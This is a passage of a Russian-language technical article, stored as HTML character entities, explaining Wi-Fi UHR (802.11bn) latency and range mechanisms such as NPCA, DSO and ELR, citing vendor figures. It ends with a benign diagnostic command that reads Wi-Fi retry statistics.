&#x43F;&#x43E;&#x442;&#x435;&#x440;&#x44F;&#x43D;&#x43D;&#x44B;&#x445; MPDU &#x434;&#x43E;&#x43B;&#x436;&#x43D;&#x43E; &#x441;&#x43E;&#x43A;&#x440;&#x430;&#x442;&#x438;&#x442;&#x44C;&#x441;&#x44F; &#x43D;&#x430; 25 %, &#x438; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43E;&#x433;&#x43E;&#x432;&#x43E;&#x440;&#x451;&#x43D; &#x441;&#x43B;&#x443;&#x447;&#x430;&#x439; &#x43F;&#x435;&#x440;&#x435;&#x445;&#x43E;&#x434;&#x430; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x430; &#x441; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x43D;&#x430; &#x434;&#x440;&#x443;&#x433;&#x443;&#x44E;. &#x415;&#x449;&#x451; &#x434;&#x432;&#x430; &#x43F;&#x443;&#x43D;&#x43A;&#x442;&#x430; &#x438;&#x434;&#x443;&#x442; &#x431;&#x435;&#x437; &#x446;&#x438;&#x444;&#x440; &#x2014; &#x441;&#x43D;&#x438;&#x436;&#x435;&#x43D;&#x438;&#x435; &#x44D;&#x43D;&#x435;&#x440;&#x433;&#x43E;&#x43F;&#x43E;&#x442;&#x440;&#x435;&#x431;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x438; &#x443;&#x43B;&#x443;&#x447;&#x448;&#x435;&#x43D;&#x438;&#x435; peer-to-peer. &#x422;&#x43E;&#x442; &#x436;&#x435; &#x43D;&#x430;&#x431;&#x43E;&#x440; &#x444;&#x43E;&#x440;&#x43C;&#x443;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x43E;&#x43A; &#x43F;&#x443;&#x431;&#x43B;&#x438;&#x43A;&#x443;&#x435;&#x442; &#x438;&#x441;&#x441;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x441;&#x43A;&#x438;&#x439; &#x431;&#x43B;&#x43E;&#x433; Samsung. 

&#x1F4CC; &#x417;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x430; 
&#x41F;&#x43E;&#x447;&#x435;&#x43C;&#x443; &#x446;&#x435;&#x43B;&#x44C; &#x43D;&#x430;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x430; &#x43F;&#x440;&#x43E; 95-&#x439; &#x43F;&#x435;&#x440;&#x446;&#x435;&#x43D;&#x442;&#x438;&#x43B;&#x44C;, &#x430; &#x43D;&#x435; &#x43F;&#x440;&#x43E; &#x441;&#x440;&#x435;&#x434;&#x43D;&#x435;&#x435;. &#x421;&#x43E; &#x441;&#x440;&#x435;&#x434;&#x43D;&#x435;&#x439; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x43E;&#x439; &#x443; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x435;&#x433;&#x43E; Wi-Fi &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x432;&#x441;&#x451; &#x432; &#x43F;&#x43E;&#x440;&#x44F;&#x434;&#x43A;&#x435;: &#x434;&#x43E; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430; 2&#x2013;4 &#x43C;&#x441;. &#x420;&#x430;&#x437;&#x433;&#x43E;&#x432;&#x43E;&#x440; &#x438; &#x438;&#x433;&#x440;&#x430; &#x43B;&#x43E;&#x43C;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43D;&#x435; &#x441;&#x440;&#x435;&#x434;&#x43D;&#x438;&#x43C; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435;&#x43C;, &#x430; &#x440;&#x435;&#x434;&#x43A;&#x438;&#x43C; &#x432;&#x44B;&#x431;&#x440;&#x43E;&#x441;&#x43E;&#x43C; &#x2014; &#x440;&#x430;&#x437; &#x432; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434; &#x43F;&#x440;&#x438;&#x43B;&#x435;&#x442;&#x430;&#x435;&#x442; &#x43F;&#x430;&#x43A;&#x435;&#x442; &#x437;&#x430; &#x441;&#x43E;&#x442;&#x43D;&#x44E; &#x441; &#x43B;&#x438;&#x448;&#x43D;&#x438;&#x43C; &#x43C;&#x438;&#x43B;&#x43B;&#x438;&#x441;&#x435;&#x43A;&#x443;&#x43D;&#x434;, &#x438; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x43E;&#x43D; &#x441;&#x43B;&#x44B;&#x448;&#x435;&#x43D;. &#x426;&#x435;&#x43B;&#x44F;&#x442;&#x441;&#x44F; &#x432; &#x44D;&#x442;&#x43E;&#x442; &#x432;&#x44B;&#x431;&#x440;&#x43E;&#x441;. 

&#x41C;&#x435;&#x445;&#x430;&#x43D;&#x438;&#x437;&#x43C;&#x44B; &#x434;&#x435;&#x43B;&#x44F;&#x442;&#x441;&#x44F; &#x43F;&#x43E; &#x43E;&#x434;&#x43D;&#x43E;&#x43C;&#x443; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441;&#x443;: &#x43D;&#x443;&#x436;&#x43D;&#x430; &#x43B;&#x438; &#x432;&#x442;&#x43E;&#x440;&#x430;&#x44F; &#x442;&#x43E;&#x447;&#x43A;&#x430;

&#x420;&#x430;&#x437;&#x431;&#x438;&#x432;&#x43A;&#x430; &#x43C;&#x435;&#x445;&#x430;&#x43D;&#x438;&#x437;&#x43C;&#x43E;&#x432; &#x447;&#x435;&#x440;&#x43D;&#x43E;&#x432;&#x438;&#x43A;&#x430; UHR &#x43F;&#x43E; &#x442;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44E; &#x43A; &#x43A;&#x43E;&#x43B;&#x438;&#x447;&#x435;&#x441;&#x442;&#x432;&#x443; &#x442;&#x43E;&#x447;&#x435;&#x43A; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430;

&#x421;&#x43E;&#x440;&#x442;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x441;&#x43E;&#x434;&#x435;&#x440;&#x436;&#x438;&#x43C;&#x43E;&#x435; &#x447;&#x435;&#x440;&#x43D;&#x43E;&#x432;&#x438;&#x43A;&#x430; &#x43F;&#x43E; &#x43C;&#x430;&#x440;&#x43A;&#x435;&#x442;&#x438;&#x43D;&#x433;&#x43E;&#x432;&#x44B;&#x43C; &#x440;&#x443;&#x431;&#x440;&#x438;&#x43A;&#x430;&#x43C; &#x431;&#x435;&#x441;&#x43F;&#x43E;&#x43B;&#x435;&#x437;&#x43D;&#x43E;. &#x41F;&#x440;&#x430;&#x43A;&#x442;&#x438;&#x447;&#x43D;&#x435;&#x435; &#x43E;&#x434;&#x438;&#x43D; &#x43A;&#x440;&#x438;&#x442;&#x435;&#x440;&#x438;&#x439;: &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x441;&#x44F; &#x43B;&#x438; &#x43C;&#x435;&#x445;&#x430;&#x43D;&#x438;&#x437;&#x43C; &#x443; &#x447;&#x435;&#x43B;&#x43E;&#x432;&#x435;&#x43A;&#x430; &#x441; &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x43C; &#x440;&#x43E;&#x443;&#x442;&#x435;&#x440;&#x43E;&#x43C; &#x432; &#x43A;&#x432;&#x430;&#x440;&#x442;&#x438;&#x440;&#x435;. 

&#x41F;&#x43E; &#x43E;&#x434;&#x43D;&#x443; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x443; &#x2014; &#x43F;&#x440;&#x438;&#x432;&#x44B;&#x447;&#x43D;&#x43E;&#x435; &#x440;&#x430;&#x437;&#x432;&#x438;&#x442;&#x438;&#x435; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x433;&#x43E; &#x443;&#x440;&#x43E;&#x432;&#x43D;&#x44F;. NPCA &#x438; DSO &#x43C;&#x435;&#x43D;&#x44F;&#x44E;&#x442; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x430; &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x438;&#x44F; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x44B;, ELR &#x438; DRU &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x44E;&#x442; &#x43D;&#x430; &#x434;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x44C;, P-EDCA &#x438; LLI &#x432;&#x44B;&#x434;&#x430;&#x44E;&#x442; &#x43F;&#x440;&#x438;&#x43E;&#x440;&#x438;&#x442;&#x435;&#x442; &#x442;&#x440;&#x430;&#x444;&#x438;&#x43A;&#x443;, &#x434;&#x43B;&#x44F; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x43A;&#x440;&#x438;&#x442;&#x438;&#x447;&#x43D;&#x430; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x430;, DPS &#x438; MLPM &#x44D;&#x43A;&#x43E;&#x43D;&#x43E;&#x43C;&#x44F;&#x442; &#x431;&#x430;&#x442;&#x430;&#x440;&#x435;&#x44E; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x430;. &#x41F;&#x43E; &#x434;&#x440;&#x443;&#x433;&#x443;&#x44E; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x443; &#x2014; &#x43A;&#x43E;&#x43E;&#x440;&#x434;&#x438;&#x43D;&#x430;&#x446;&#x438;&#x44F; &#x43C;&#x435;&#x436;&#x434;&#x443; &#x442;&#x43E;&#x447;&#x43A;&#x430;&#x43C;&#x438;: Co-SR, Co-BF, Co-TDMA, Co-RTWT, Co-CR, &#x430; &#x442;&#x430;&#x43A;&#x436;&#x435; &#x431;&#x435;&#x441;&#x448;&#x43E;&#x432;&#x43D;&#x44B;&#x439; &#x440;&#x43E;&#x443;&#x43C;&#x438;&#x43D;&#x433; SMD. 

&#x2757; &#x413;&#x43B;&#x430;&#x432;&#x43D;&#x43E;&#x435; 
&#x421;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x43A;&#x443;&#x441;&#x43E;&#x43A; &#x43E;&#x431;&#x435;&#x449;&#x430;&#x43D;&#x43D;&#x43E;&#x433;&#x43E; &#x432;&#x44B;&#x438;&#x433;&#x440;&#x44B;&#x448;&#x430; &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x432;&#x442;&#x43E;&#x440;&#x443;&#x44E; &#x433;&#x440;&#x443;&#x43F;&#x43F;&#x443; &#x2014; &#x430; &#x43E;&#x43D;&#x430; &#x43F;&#x440;&#x435;&#x434;&#x43F;&#x43E;&#x43B;&#x430;&#x433;&#x430;&#x435;&#x442; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x442;&#x43E;&#x447;&#x435;&#x43A; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x430;, &#x443;&#x43C;&#x435;&#x44E;&#x449;&#x438;&#x445; &#x434;&#x43E;&#x433;&#x43E;&#x432;&#x430;&#x440;&#x438;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F;. &#x427;&#x435;&#x43C; &#x442;&#x430;&#x43A;&#x43E;&#x435; &#x43E;&#x431;&#x44B;&#x447;&#x43D;&#x43E; &#x437;&#x430;&#x43A;&#x430;&#x43D;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F;, &#x43F;&#x43E;&#x43A;&#x430;&#x437;&#x430;&#x43B; Wi-Fi EasyMesh: &#x434;&#x43E;&#x433;&#x43E;&#x432;&#x430;&#x440;&#x438;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x443; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435;&#x43B;&#x44F;, &#x442;&#x43E;&#x433;&#x434;&#x430; &#x43A;&#x430;&#x43A; &#x43F;&#x430;&#x440;&#x430; &#xAB;&#x440;&#x43E;&#x443;&#x442;&#x435;&#x440; &#x43E;&#x442; &#x43F;&#x440;&#x43E;&#x432;&#x430;&#x439;&#x434;&#x435;&#x440;&#x430; &#x43F;&#x43B;&#x44E;&#x441; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43A;&#x443;&#x43F;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x440;&#x435;&#x43F;&#x438;&#x442;&#x435;&#x440;&#xBB; &#x43E;&#x441;&#x442;&#x430;&#x451;&#x442;&#x441;&#x44F; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x442;&#x435;&#x43C;, &#x447;&#x435;&#x43C; &#x431;&#x44B;&#x43B;&#x430;. 

140 &#x43C;&#x435;&#x433;&#x430;&#x433;&#x435;&#x440;&#x446;, &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x430;&#x438;&#x432;&#x430;&#x44E;&#x449;&#x438;&#x445; &#x438;&#x437;-&#x437;&#x430; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x43E;&#x433;&#x43E; &#x43F;&#x43E;&#x434;&#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430;

&#x421;&#x43B;&#x435;&#x432;&#x430;-&#x43D;&#x430;&#x43F;&#x440;&#x430;&#x432;&#x43E;: &#x441;&#x435;&#x433;&#x43E;&#x434;&#x43D;&#x44F; &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x44B;&#x439; &#x43F;&#x435;&#x440;&#x432;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x43F;&#x43E;&#x434;&#x43A;&#x430;&#x43D;&#x430;&#x43B; &#x43E;&#x441;&#x442;&#x430;&#x43D;&#x430;&#x432;&#x43B;&#x438;&#x432;&#x430;&#x435;&#x442; &#x432;&#x441;&#x44E; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x443;, NPCA &#x44D;&#x442;&#x43E; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x43E; &#x441;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442;

&#x414;&#x43E;&#x441;&#x442;&#x443;&#x43F; &#x43A; &#x441;&#x440;&#x435;&#x434;&#x435; &#x441;&#x435;&#x439;&#x447;&#x430;&#x441; &#x437;&#x430;&#x432;&#x44F;&#x437;&#x430;&#x43D; &#x43D;&#x430; &#x43F;&#x435;&#x440;&#x432;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x43A;&#x430;&#x43D;&#x430;&#x43B;. &#x421;&#x442;&#x43E;&#x438;&#x442; &#x441;&#x43E;&#x441;&#x435;&#x434;&#x443; &#x435;&#x433;&#x43E; &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x44C; &#x2014; &#x438; &#x441;&#x442;&#x430;&#x43D;&#x446;&#x438;&#x44F; &#x437;&#x430;&#x43C;&#x43E;&#x43B;&#x43A;&#x430;&#x435;&#x442; &#x43F;&#x43E;&#x43B;&#x43D;&#x43E;&#x441;&#x442;&#x44C;&#x44E;, &#x445;&#x43E;&#x442;&#x44F; &#x43E;&#x441;&#x442;&#x430;&#x432;&#x448;&#x438;&#x435;&#x441;&#x44F; 140 &#x41C;&#x413;&#x446; &#x438;&#x437; &#x441;&#x442;&#x430; &#x448;&#x435;&#x441;&#x442;&#x438;&#x434;&#x435;&#x441;&#x44F;&#x442;&#x438; &#x432; &#x44D;&#x442;&#x43E;&#x442; &#x43C;&#x43E;&#x43C;&#x435;&#x43D;&#x442; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x430;&#x438;&#x432;&#x430;&#x44E;&#x442;. Non-Primary Channel Access &#x441;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442; &#x44D;&#x442;&#x43E; &#x43E;&#x433;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x43D;&#x438;&#x435;: &#x43F;&#x435;&#x440;&#x435;&#x434;&#x430;&#x432;&#x430;&#x442;&#x44C; &#x440;&#x430;&#x437;&#x440;&#x435;&#x448;&#x435;&#x43D;&#x43E; &#x43D;&#x430; &#x43D;&#x435;&#x43F;&#x435;&#x440;&#x432;&#x438;&#x447;&#x43D;&#x44B;&#x445; &#x43F;&#x43E;&#x434;&#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430;&#x445;. 

&#x417;&#x435;&#x440;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x443;&#x44E; &#x43F;&#x440;&#x43E;&#x431;&#x43B;&#x435;&#x43C;&#x443; &#x431;&#x435;&#x440;&#x451;&#x442; &#x43D;&#x430; &#x441;&#x435;&#x431;&#x44F; Dynamic Sub-channel Operation. &#x422;&#x43E;&#x447;&#x43A;&#x430; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442; &#x43D;&#x430; 320 &#x41C;&#x413;&#x446;, &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442; &#x443;&#x43C;&#x435;&#x435;&#x442; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; 80 &#x2014; &#x43F;&#x43E; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x438;&#x44E; MediaTek, &#x434;&#x43E; 75 % &#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x43D;&#x43E;&#x441;&#x442;&#x435;&#x439; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; &#x43F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; &#x43F;&#x440;&#x43E;&#x43F;&#x430;&#x434;&#x430;&#x435;&#x442;. &#x412;&#x43C;&#x435;&#x441;&#x442;&#x43E; &#x442;&#x43E;&#x433;&#x43E; &#x447;&#x442;&#x43E;&#x431;&#x44B; &#x43F;&#x43E;&#x434;&#x433;&#x43E;&#x43D;&#x44F;&#x442;&#x44C; &#x432;&#x441;&#x44E; &#x43F;&#x435;&#x440;&#x435;&#x434;&#x430;&#x447;&#x443; &#x43F;&#x43E;&#x434; &#x441;&#x430;&#x43C;&#x43E;&#x433;&#x43E; &#x441;&#x43B;&#x430;&#x431;&#x43E;&#x433;&#x43E; &#x443;&#x447;&#x430;&#x441;&#x442;&#x43D;&#x438;&#x43A;&#x430;, DSO &#x43D;&#x430;&#x440;&#x435;&#x437;&#x430;&#x435;&#x442; &#x435;&#x43C;&#x443; &#x43F;&#x43E;&#x434;&#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x443;. &#x41F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x438;&#x442;&#x44C; &#x44D;&#x442;&#x438; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x43D;&#x442;&#x44B; &#x43D;&#x435;&#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x43E; &#x43D;&#x435;&#x432;&#x43E;&#x437;&#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x43F;&#x43E; &#x431;&#x430;&#x43D;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x43F;&#x440;&#x438;&#x447;&#x438;&#x43D;&#x435;: &#x441;&#x435;&#x440;&#x438;&#x439;&#x43D;&#x43E;&#x433;&#x43E; &#x436;&#x435;&#x43B;&#x435;&#x437;&#x430; &#x43F;&#x43E;&#x434; &#x441;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442; &#x435;&#x449;&#x451; &#x43D;&#x435; &#x432;&#x44B;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x44E;&#x442;. 

&#x414;&#x435;&#x446;&#x438;&#x431;&#x435;&#x43B;&#x44B; &#x434;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x438;: &#x447;&#x442;&#x43E; &#x43E;&#x431;&#x435;&#x449;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435;&#x43B;&#x44C; &#x447;&#x438;&#x43F;&#x43E;&#x432;

&#x417;&#x430; &#x434;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x43E;&#x442;&#x432;&#x435;&#x447;&#x430;&#x44E;&#x442; &#x434;&#x432;&#x430; &#x43C;&#x435;&#x445;&#x430;&#x43D;&#x438;&#x437;&#x43C;&#x430;. Enhanced Long Range &#x2014; &#x44D;&#x442;&#x43E; &#x444;&#x43E;&#x440;&#x43C;&#x430;&#x442; &#x43A;&#x430;&#x434;&#x440;&#x430; &#x43D;&#x430; 20 &#x41C;&#x413;&#x446; &#x441; &#x43C;&#x43E;&#x434;&#x443;&#x43B;&#x44F;&#x446;&#x438;&#x44F;&#x43C;&#x438; BPSK &#x438; QPSK; &#x43E;&#x43D; &#x430;&#x434;&#x440;&#x435;&#x441;&#x43E;&#x432;&#x430;&#x43D; &#x441;&#x442;&#x430;&#x440;&#x43E;&#x43C;&#x443; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43E;&#x441;&#x443;, &#x43F;&#x440;&#x438; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x43C; &#x442;&#x435;&#x43B;&#x435;&#x444;&#x43E;&#x43D; &#x438;&#x437; &#x434;&#x430;&#x43B;&#x44C;&#x43D;&#x435;&#x439; &#x43A;&#x43E;&#x43C;&#x43D;&#x430;&#x442;&#x44B; &#x441;&#x43B;&#x44B;&#x448;&#x438;&#x442; &#x442;&#x43E;&#x447;&#x43A;&#x443; &#x437;&#x430;&#x43C;&#x435;&#x442;&#x43D;&#x43E; &#x43B;&#x443;&#x447;&#x448;&#x435;, &#x447;&#x435;&#x43C; &#x442;&#x43E;&#x447;&#x43A;&#x430; &#x441;&#x43B;&#x44B;&#x448;&#x438;&#x442; &#x442;&#x435;&#x43B;&#x435;&#x444;&#x43E;&#x43D;. &#x426;&#x438;&#x444;&#x440;&#x430; &#x43E;&#x442; MediaTek: &#x432;&#x44B;&#x438;&#x433;&#x440;&#x44B;&#x448; &#x43F;&#x43E; &#x447;&#x443;&#x432;&#x441;&#x442;&#x432;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x441;&#x432;&#x44B;&#x448;&#x435; 8 &#x434;&#x411; &#x43D;&#x430; &#x432;&#x43E;&#x441;&#x445;&#x43E;&#x434;&#x44F;&#x449;&#x435;&#x43C; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x435; &#x432; &#x441;&#x440;&#x430;&#x432;&#x43D;&#x435;&#x43D;&#x438;&#x438; &#x441; &#x43D;&#x438;&#x441;&#x445;&#x43E;&#x434;&#x44F;&#x449;&#x438;&#x43C; &#x443; 802.11g. Distributed-tone RU &#x443;&#x441;&#x442;&#x440;&#x43E;&#x435;&#x43D; &#x438;&#x43D;&#x430;&#x447;&#x435; &#x2014; &#x43F;&#x43E;&#x434;&#x43D;&#x435;&#x441;&#x443;&#x449;&#x438;&#x435; &#x440;&#x430;&#x437;&#x43D;&#x43E;&#x441;&#x44F;&#x442;&#x441;&#x44F; &#x43F;&#x43E; &#x448;&#x438;&#x440;&#x43E;&#x43A;&#x43E;&#x439; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x435;, &#x447;&#x442;&#x43E; &#x43F;&#x43E;&#x437;&#x432;&#x43E;&#x43B;&#x44F;&#x435;&#x442; &#x43F;&#x43E;&#x434;&#x43D;&#x44F;&#x442;&#x44C; &#x43C;&#x43E;&#x449;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x43D;&#x430; &#x442;&#x43E;&#x43D;, &#x43D;&#x435; &#x43D;&#x430;&#x440;&#x443;&#x448;&#x430;&#x44F; &#x43E;&#x433;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x43D;&#x438;&#x439; &#x43F;&#x43E; &#x441;&#x43F;&#x435;&#x43A;&#x442;&#x440;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x43F;&#x43B;&#x43E;&#x442;&#x43D;&#x43E;&#x441;&#x442;&#x438;; &#x437;&#x434;&#x435;&#x441;&#x44C; &#x43E;&#x431;&#x435;&#x449;&#x430;&#x43D;&#x43E; &#x434;&#x43E; 40 &#x43C;&#x435;&#x442;&#x440;&#x43E;&#x432; &#x43F;&#x440;&#x438;&#x431;&#x430;&#x432;&#x43A;&#x438; &#x437;&#x43E;&#x43D;&#x44B; &#x43F;&#x440;&#x438; &#x447;&#x435;&#x442;&#x44B;&#x440;&#x451;&#x445; &#x441;&#x442;&#x430;&#x43D;&#x446;&#x438;&#x44F;&#x445; &#x43D;&#x430; &#x440;&#x430;&#x441;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x451;&#x43D;&#x43D;&#x44B;&#x445; RU242. 

&#x41E;&#x431;&#x430; &#x447;&#x438;&#x441;&#x43B;&#x430; &#x432;&#x437;&#x44F;&#x442;&#x44B; &#x438;&#x437; white paper &#x43A;&#x43E;&#x43C;&#x43F;&#x430;&#x43D;&#x438;&#x438;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x430;&#x44F; &#x441;&#x430;&#x43C;&#x430; &#x443;&#x447;&#x430;&#x441;&#x442;&#x432;&#x443;&#x435;&#x442; &#x432; &#x440;&#x430;&#x437;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x43A;&#x435; &#x441;&#x442;&#x430;&#x43D;&#x434;&#x430;&#x440;&#x442;&#x430;. &#x42D;&#x442;&#x43E; &#x437;&#x430;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x43E; &#x43D;&#x430;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x438;&#x44F;&#x445;, &#x430; &#x43D;&#x435; &#x43F;&#x440;&#x43E;&#x442;&#x43E;&#x43A;&#x43E;&#x43B; &#x43D;&#x435;&#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x44B;&#x445; &#x438;&#x441;&#x43F;&#x44B;&#x442;&#x430;&#x43D;&#x438;&#x439;. 

&#x422;&#x440;&#x438; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x44B;, &#x447;&#x442;&#x43E;&#x431;&#x44B; &#x43F;&#x43E;&#x43D;&#x44F;&#x442;&#x44C;, &#x43F;&#x440;&#x43E; &#x432;&#x430;&#x441; &#x43B;&#x438; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; &#x44D;&#x442;&#x430; &#x438;&#x441;&#x442;&#x43E;&#x440;&#x438;&#x44F;

&#x421;&#x438;&#x43C;&#x43F;&#x442;&#x43E;&#x43C;&#x43E;&#x432;, &#x43D;&#x430; &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x43D;&#x430;&#x446;&#x435;&#x43B;&#x435;&#x43D; UHR, &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x442;&#x440;&#x438;, &#x438; &#x432;&#x441;&#x435; &#x43E;&#x43D;&#x438; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x44F;&#x44E;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x441;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443;&#x44E;&#x449;&#x435;&#x43C; &#x436;&#x435;&#x43B;&#x435;&#x437;&#x435;. &#x416;&#x434;&#x430;&#x442;&#x44C; 2028 &#x433;&#x43E;&#x434;&#x430;, &#x447;&#x442;&#x43E;&#x431;&#x44B; &#x443;&#x437;&#x43D;&#x430;&#x442;&#x44C;, &#x435;&#x441;&#x442;&#x44C; &#x43B;&#x438; &#x43E;&#x43D;&#x438; &#x443; &#x432;&#x430;&#x441;, &#x43D;&#x435;&#x43E;&#x431;&#x44F;&#x437;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;. &#x418;&#x43C;&#x44F; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x444;&#x435;&#x439;&#x441;&#x430; &#x432; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x430;&#x445; &#x437;&#x430;&#x43C;&#x435;&#x43D;&#x438;&#x442;&#x435; &#x43D;&#x430; &#x441;&#x432;&#x43E;&#x451; &#x2014; &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x432;&#x44B;&#x434;&#x430;&#x441;&#x442; iw dev. 

&#x41F;&#x435;&#x440;&#x432;&#x43E;&#x435; &#x2014; &#x43F;&#x43E;&#x432;&#x442;&#x43E;&#x440;&#x44B; &#x43A;&#x430;&#x434;&#x440;&#x43E;&#x432; &#x43D;&#x430; &#x43A;&#x43B;&#x438;&#x435;&#x43D;&#x442;&#x435;: 

iw dev wlan0 station dump | grep -E 'signal:|tx bitrate|tx packets|tx retries|tx failed'

